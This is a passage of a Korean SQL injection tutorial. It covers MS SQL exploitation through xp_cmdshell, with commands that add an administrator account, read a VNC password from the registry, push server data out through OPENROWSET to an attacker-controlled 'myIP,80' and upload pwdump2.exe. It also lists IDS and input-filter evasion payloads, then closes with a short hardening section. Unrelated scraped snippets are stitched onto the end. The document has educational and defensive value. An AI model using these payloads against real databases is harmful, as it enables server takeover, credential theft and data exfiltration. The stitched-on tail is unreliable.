β–ͺ MS SQL Windows Password Creation

'; exec xp_cmdshell 'net user /add victor Pass123'--

'; exec xp_cmdshell 'net localgroup /add administrators victor' --

β–ͺ Starting Services

'; exec master..xp_servicecontrol 'start','FTP Publishing' --

ii. ActiveX μžλ™ 슀크립트 이용

β–ͺ Speech example

'; declare @o int, @var int

exec sp_oacreate 'speech.voicetext', @o out

exec sp_oamethod @o, 'register', NULL, 'x', 'x'

exec sp_oasetproperty @o, 'speed', 150

exec sp_oamethod @o, 'speak', NULL, 'warning, your sequel server has been hacked!', 1

waitfor delay '00:00:03' --

iii. λ ˆμ§€μŠ€νŠΈλ¦¬λ‘œλΆ€ν„° VNC νŒ¨μŠ€μ›Œλ“œ μ°ΎκΈ°

β–ͺ'; declare @out binary(8)

exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE',

@key='SOFTWAREβ‚©ORLβ‚©WinVNC3β‚©Default',

@value_name='Password',

@value = @out output

select cast(@out as bigint) as x into TEMP--

β–ͺ' and 1 in (select cast(x as varchar) from temp) --

7) ν™•μž₯된 효과

β–ͺ λ‹€λ₯Έ DBμ„œλ²„μ— μ—°κ²° ν•˜κΈ°

i. MS SQL에 링크된 μ„œλ²„λ₯Ό μ°ΎκΈ°

(16)

ii. OPENROWSET λͺ…령을 μ‚¬μš©ν•˜μ—¬ μ‰½κ²Œ λ‹€λ₯Έ μ„œλ²„λ₯Ό μ ‘κ·Ό ν•  수 μžˆλ‹€.

iii. 같은 μ „λž΅μœΌλ‘œ OPENROWSET을 μ΄μš©ν•œ λ¦¬λ²„μŠ€ μ—°κ²°λ‘œ μ‰½κ²Œ μ ‘κ·Ό ν•  수 μžˆλ‹€.

β–ͺ 링크된 μ„œλ²„μ—λ„ 접속이 κ°€λŠ₯ν•˜λ‹€.

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_sysservers')

select * from master.dbo.sysservers

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_linked_sysservers')

select * from LinkedServer.master.dbo.sysservers

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_linked_sysdatabases')

select * from LinkedServer.master.dbo.sysdatabases

β–ͺ μ €μž₯된 ν”„λ‘œμ‹œμ €λ₯Ό ν†΅ν•œ 원격 접속 μ‹€ν–‰

λ§Œμ•½μ— 원격 μ„œλ²„μ— μ €μž₯된 ν”„λ‘œμ‹œμ € 싀행이 ν—ˆμš©λ˜μ–΄ μžˆλ‹€λ©΄ κ°€λŠ₯ν•  것이닀.

insert into

OPENROWSET('SQLoledb',

'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select *

from mydatabase..hacked_sysservers')

exec Linked_Server.master.dbo.sp_executesql N'select * from master.dbo.sysservers'

insert into

OPENROWSET('SQLoledb',

'uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;', 'select * from

mydatabase..hacked_sysdatabases')

exec Linked_Server.master.dbo.sp_executesql N'select * from

(17)

β–ͺ Reverse 연결을 ν†΅ν•œ 파일 μ—…λ‘œλ“œ

β–ͺ '; create table AttackerTable (data text) --

β–ͺ '; bulk insert AttackerTable --

from 'pwdump2.exe' with (codepage='RAW')

β–ͺ '; exec master..xp_regwrite

'HKEY_LOCAL_MACHINE','SOFTWAREβ‚©Microsoftβ‚©MSSQLServerβ‚©Clientβ‚©ConnectTo','

MySrvAlias','REG_SZ','DBMSSOCN, MyIP, 80' --

β–ͺ '; exec xp_cmdshell 'bcp "select * from AttackerTable" queryout pwdump2.exe c Craw

-SMySrvAlias -Uvictor -PPass123' --

β–ͺ SQL Injection ν†΅ν•œ 파일 μ—…λ‘œλ“œ

λ§Œμ•½ DBμ„œλ²„κ°€ 인터넷 연결이 λ˜μ§€ μ•Šλ”λΌλ„, μ—¬μ „νžˆ νŒŒμΌμ€ μ—…λ‘œλ“œ 될 수 μžˆλ‹€. κ·ΈλŸ¬λ‚˜ νŒŒμΌμ€ λ°˜λ“œ

μ‹œ 16μ§„μˆ˜ 그리고 Query 문자의 μΌλΆ€λ‘œ 보내어 μ Έμ•Όλ§Œ ν•œλ‹€. νŒŒμΌμ€ λ°˜λ“œμ‹œ 각 4000 byte둜 λ‚˜λˆ„μ–΄ μ Έ

μ•Ό ν•œλ‹€.

예) κ°„λ‹¨ν•œ SQL Injection 파일 μ—…λ‘œλ“œ

Step 1. λ¨Όμ € μ›κ²©μ—μ„œ hexλ₯Ό binary둜 λ³€ν™˜ 해쀄 ν”„λ‘œμ‹œμ €κ°€ injectionλ˜μ–΄μ•Ό ν•œλ‹€.

Step 2. λ‹€μŒ binaryλ₯Ό hex 쑰각으둜 Injection ν•΄μ•Ό ν•œλ‹€.

' declare @hex varchar(8000), @bin varchar(8000) select @hex = '4d5a900003000…

← 8000개의 hex 문자(4000byte) →…0000000000000000000' exec master..sp_hex2bin @hex,

@bin output ; insert master..pwdump2 select @bin --

Step 3. binaryλ₯Ό μ—°κ²°μ‹œν‚€κ³ , νŒŒμΌμ„ λ””μŠ€ν¬μ— μ €μž₯ ν•  수 μžˆλ‹€

3 우회 기술

3.1 κ°œμš”.

μž…λ ₯ κ°’ 검증 우회 그리고 IDS 우회 κΈ°μˆ μ€ 맀우 λΉ„μŠ·ν•˜λ‹€. Snort 기반의 SQL Injection νƒμ§€λŠ” λΆ€λΆ„

적으둜 κ°€λŠ₯ν•˜λ‹€. κ·ΈλŸ¬λ‚˜ 이것은 β€œsinatures”에 μ˜μ‘΄ν•œλ‹€. ”signatures”은 μ‰½κ²Œ ν”Όν•  수 μžˆλ‹€. μž…λ ₯ κ°’

검증, IDS 탐지 그리고 κ²¬κ³ ν•œ DB, OS 섀정은 λ°˜λ“œμ‹œ 같이 μ‚¬μš© λ˜μ–΄μ Έμ•Ό ν•œλ‹€.

3.2 IDS β€œsignature” 우회

1) β€˜OR 1=1 β€œsignatureβ€μš°νšŒν•˜κΈ°

(18)

β–ͺ ' OR 'unusual' = 'unusual'

β–ͺ ' OR 'something' = 'some'+'thing'

β–ͺ ' OR 'text' = N'text'

β–ͺ ' OR 'something' like 'some%'

β–ͺ ' OR 2 > 1

β–ͺ ' OR 'text' > 't'

β–ͺ ' OR 'whatever' IN ('whatever')

β–ͺ ' OR 2 BETWEEN 1 AND 3

3.3 μž…λ ₯ κ°’ 검증 우회 ν•˜κΈ°

β–ͺ PHP addslashes() ν•¨μˆ˜λ₯Ό μ‚¬μš©ν•˜λŠ” μ‚¬λžŒμ€ λ¬Έμžμ—΄μ„ λ²—μ–΄ λ‚ μˆ˜ μžˆλ‹€.

single quote (')

double quote (")

backslash (β‚©)

NUL (the NULL byte)

β–ͺ 숫자 ν•„λ“œμ—μ„œ μœ„μ˜ 문자둜 λŒ€μ²΄ ν•¨μœΌλ‘œμ¨ μ‰½κ²Œ 우회 κ°€λŠ₯ν•˜λ‹€.

3.4 νšŒν”Όμ™€ 우회

i. μ•„λž˜μ˜ λ§€κ°œλ³€μˆ˜ 인코딩 λ°©λ²•μœΌλ‘œ IDS, μž…λ ₯ κ°’ 검증을 우회 ν•  수 μžˆλ‹€.

β–ͺ URL encoding

β–ͺ Unicode/UTF-8

β–ͺ Hex enconding

β–ͺ char() function

ii. MySQL μž…λ ₯ κ°’ 검증은 Char()λ₯Ό μ‚¬μš©ν•¨μœΌλ‘œμ¨ 우회 ν•  수 μžˆλ‹€.

β–ͺ 인용 λΆ€ν˜Έλ₯Ό μ œμ™Έν•œ Inject (string = "%"):

' or username like char(37);

β–ͺ 인용 λΆ€ν˜Έλ₯Ό μ œμ™Έν•œ Inject (string = "root"):

' union select * from users where login = char(114,111,111,116);

β–ͺ Load files을 μ΄μš©ν•œ unions μ‚¬μš© (string = "/etc/passwd"):

' union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;

β–ͺ μ‘΄μž¬ν•˜λŠ” νŒŒμΌμ„ 체크(string = "n.ext"):

' and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0));

(19)

β–ͺ UNION SELECT Signature와 UNION[νƒ­]SELECT signature은 λ‹€λ₯΄κ²Œ μΈμ‹λœλ‹€

β–ͺ νƒ­, 캐리지 리턴, 라인 ν”Όλ“œ, 곡백이 주둜 이용 λœλ‹€.

β–ͺ λͺ‡λͺ‡ IDS λŠ” 곡백처리λ₯Ό λ¬΄μ‹œν•˜λ―€λ‘œ 곡백을 μƒλž΅ν•˜λŠ” 것이 쒋은 방법이 될 μˆ˜λ„ μžˆλ‹€.

'OR'1'='1' (곡백 없이) 은 μ—λŸ¬ 없이 μ‹€ν–‰λœλ‹€.

iv. 주석 처리λ₯Ό μ΄μš©ν•œ IDS Signature νšŒν”Ό

β–ͺ /* … */ 은 SQL99μ—μ„œ μ—¬λŸ¬ 쀄 을 주석 처리 ν•  λ•Œ μ‚¬μš©λ˜λŠ” 기호 이닀 β–ͺ UNION/**/SELECT/**/

β–ͺ '/**/OR/**/1/**/=/**/1

β–ͺ μ—¬λŸ¬ 개의 ν•„λ“œμ— 걸친 Injection을 ν—ˆμš©ν•œλ‹€

USERNAME: ' or 1/*

PASSWORD: */=1–

v. 슀트링 μ—°κ²°μžλ₯Ό μ΄μš©ν•œ IDS Signature 우회

β–ͺ μ•„λž˜μ™€ 같이 ν…μŠ€νŠΈ μ—°κ²° ν•  수 있고, νŠΉμ •ν•œ DB λͺ…령을 μ‚¬μš© ν•  수 μžˆλ‹€.

β–ͺ My SQL

UNI/**/ON SEL/**/ECT β–ͺ Oracle

'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'

β–ͺ MS SQL

'; EXEC ('SEL' + 'ECT US' + 'ER')

vi. λ³€μˆ˜λ₯Ό μ΄μš©ν•˜μ—¬ IDS, μž…λ ₯ κ°’ 검증 우회 ν•˜κΈ°

β–ͺ λ³€μˆ˜λ₯Ό 이용

; declare @x nvarchar(80); set @x = N'SEL' + N'ECTUS' + N'ER');

EXEC (@x)

EXEC SP_EXECUTESQL @x

β–ͺ ν—₯사λ₯Ό 이용

; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e;

EXEC (@x)

(20)

4 SQL Injection λŒ€μ‘ λ°©μ•ˆ

4.1 κ°œμš”

κ°„λ‹¨ν•œ λ°©λ²•μœΌλ‘œ μž…λ ₯ κ°’ 검증은 κ°€μž₯ μ€‘μš”ν•œ λΆ€λΆ„ 쀑에 ν•˜λ‚˜ 이닀. 당신은 λ°˜λ“œμ‹œ μž…λ ₯ κ°’ 검증을

λͺ¨λ“  μƒˆλ‘œμš΄ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ— μ‹€μ‹œν•΄μ•Ό ν•œλ‹€. 그리고 μ‘΄μž¬ν•˜λŠ” μ½”λ“œμ™€ μ›Ήμ‚¬μ΄νŠΈλ₯Ό 쑰사해 봐야 ν•œλ‹€.

μΆ”κ°€μ μœΌλ‘œ μ„œλ²„λ₯Ό κ²¬κ³ ν•˜κ²Œ μš΄μ˜ν•΄μ•Ό ν•œλ‹€. 데이터 베이슀의 데이터 접근을 μ €μž₯된 ν”„λ‘œμ‹œμ €λ₯Ό ν†΅ν•˜

μ—¬ μ ‘κ·Όν•˜κ³ , μ €μž₯된 ν”„λ‘œμ‹œμ €λ₯Ό μ‚¬μš©ν•  λ•Œ λ§€κ°œλ³€μˆ˜ν™” 된 APIλ₯Ό μ΄μš©ν•˜λΌ. λͺ¨λ“  μž…λ ₯ κ°’ 검증은 일

반적인 루틴을 μ΄μš©ν•˜κ³ , μ΅œμ†Œν•œμ˜ κΆŒν•œμ„ DB μ‚¬μš©μž μ—κ²Œ μ μš©ν•˜λΌ.

1) μž…λ ₯ κ°’ 검증

각 ν•„λ“œλ₯Ό μœ„ν•œ 데이터 νƒ€μž…μ˜ μ •μ˜ 되고, μ •μ˜λœ νƒ€μž…λ§Œ ν—ˆμš© λ˜μ–΄μ•Ό ν•œλ‹€. 그리고 μž…λ ₯된 κ°’μ˜ κ²€

증을 μœ„ν•΄μ„œ ν•„ν„°λ₯Ό μ‚¬μš©ν•΄μ•Ό ν•œλ‹€. μ•Œλ €μ§„ Injection λ¬Έμžμ—΄μ— λŒ€ν•œ ν•„ν„°λŠ” μ² μ €νžˆ κ΅¬ν˜„ λ˜μ—¬μ•Ό ν•œλ‹€.

μ•„λž˜μ™€ 같은 λ¬Έμžμ—΄μ€ λ°˜λ“œμ‹œ 제거 λ˜μ–΄μ•Ό ν•œλ‹€.

예) β€œ"select", "insert", "update", "shutdown", "delete", "drop", "--", "'"

2) μ„œλ²„λ₯Ό κ²¬κ³ ν•˜κ²Œ μš΄μ˜ν•˜κΈ°

1. DB μ΅œμ†ŒκΆŒν•œμ˜ μœ μ €λ‘œ μš΄μ˜ν•˜λΌ.

2. μ‚¬μš©ν•˜μ§€ μ•ŠλŠ” μ €μž₯된 ν”„λ‘œμ‹œμ €μ™€ κΈ°λŠ₯듀은 μ œκ±°ν•˜κ±°λ‚˜ κ΄€λ¦¬μžμ—κ²Œ μ œν•œλœ μ ‘κ·Ό κΆŒν•œμ„ 주어라.

3. νΌλ―Έμ…˜μ„ λ³€κ²½ν•˜κ³ , 곡개된 μ‹œμŠ€ν…œ 객체에 접근을 제거 ν•˜λΌ.

4. λͺ¨λ“  μ‚¬μš©μž κ³„μ •μ˜ νŒ¨μŠ€μ›Œλ“œλ₯Ό κ°•ν™” μ‹œμΌœλΌ

5. 미리 승인된 μ„œλ²„μ˜ 링크λ₯Ό 제거 ν•˜λΌ.

6. μ‚¬μš©ν•˜μ§€ μ•ŠλŠ” λ„€νŠΈμ›Œν¬ ν”„λ‘œν† μ½œμ„ μ œκ±°ν•˜λΌ.

7. μ‹ λ’°ν•  수 μžˆλŠ” λ„€νŠΈμ›Œν¬,μ›Ή μ„œλ²„, λ°±μ—… μ„œλ²„λ§Œ 접근을 ν—ˆμš©ν•˜λΌ.

4.2 탐지 및 μ œν•œμ‹œν‚€κΈ°

SQL Injection μ‹œλ„μ— λŒ€ν•œ 탐지 μ›ν•œλ‹€λ©΄, SQL Injection μ‹œλ„λ₯Ό λ‘œκ·Έμ— 남기고, 이 λ©”μΌλ‘œ κ²½κ³ μž₯

을 보내고, IP차단 ν•˜κ³ , μ˜¬λ°”λ₯΄μ§€ μ•Šμ€ μ—λŸ¬ λ©”μ‹œμ§€λ₯Ό 보내도둝 μ„€μ •ν•˜λΌ. 이것듀은 검증 μŠ€ν¬λ¦½νŠΈμ—

μ½”λ“œμ™€ λ˜μ–΄μ•Ό ν•œλ‹€.

4.3 κ²°λ‘ 

SQL Injection 은 맀혹적이고, μ•„μ£Ό μœ„ν—˜ν•œ 취약점이닀. λͺ¨λ“  ν”„λ‘œκ·Έλž¨ μ–Έμ–΄ 그리고 SQL DBλŠ” 잠재

적인 취약점을 κ°€μ§€κ³  μžˆλ‹€. 보호 ν•˜κΈ° μœ„ν•΄μ„œλŠ” κ°•λ ₯ν•œ λ””μžμΈ, μ •ν™•ν•œ μž…λ ₯ κ°’ 검증, κ²¬κ³ ν•˜κ²Œ μ„œλ²„

λ₯Ό 운영 ν•΄μ•Ό ν•œλ‹€.

β€» 참쑰자료 및 λ¬Έμ„œ

References

Related documents

Scientists can have many incentives to move, citing both salary and career progression, as the quality of their research environment, availability of funding, or the opportunity

See discussions, stats, and author profiles for this publication at: https://www.researchgate.net/publication/318335980 Sliding mode control algorithms for wheel slip control of

PROJECT PREPARATION AND DEVELOPMENT PROJECT REVIEW AND APPROVAL PREPARATION OF BID DOCUMENTS PQ &amp; BID EVALUATION CONTRACT AWARD AND IMPLEMENTATION οƒΌ Capacity

It has previously been shown that recombinant antimicrobial peptides (AMP) are a possible source of increased resistance to fungal plant pathogens when expressed in a variety

understanding of the financial aspects and terminology of the separation. A specialized financial planner can explain all financial aspects of the pending decisions and help

β€’ STEM (science, technology, engineering, and math) program delivery or STEM staff professional development β€’ Expanded or extended learning time and the OST hours. β€’

The United Kingdom is not only one of the financial pillars of the EU development policy but also plays an important role in shaping the organisation’s

l β€― Assurance of protocol compliance allows service providers to dedicate resources. to address their